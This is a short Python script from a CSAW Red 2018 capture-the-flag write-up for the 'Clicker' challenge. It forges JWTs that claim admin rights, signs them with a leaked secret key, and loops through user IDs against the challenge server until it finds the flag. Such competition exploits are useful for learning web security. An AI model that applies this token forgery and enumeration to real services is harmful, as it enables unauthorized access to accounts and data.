Written for my CSAW Red 2018 Clicker Write-up

Clicker-PartF.py

import requests as rq
import jwt

tokenData = {
    'exp': 1538956189,
    'iat': 0,
    'sub': 0,
    'admin': True
}

c = 0
while True:
	tokenData["sub"] = c
	jwToken = jwt.encode(tokenData, "dId_you_r3aLly_think_I_w0u1dnt_s3t_a_key")
	headers= {'Authorization':jwToken}
	req = rq.get("http://web.chal.csaw.io:10106/default/record", headers=headers)
	print("Attempt: "+str(c))
	c+=1
	if "flag" in req.text:
		print req.text
		break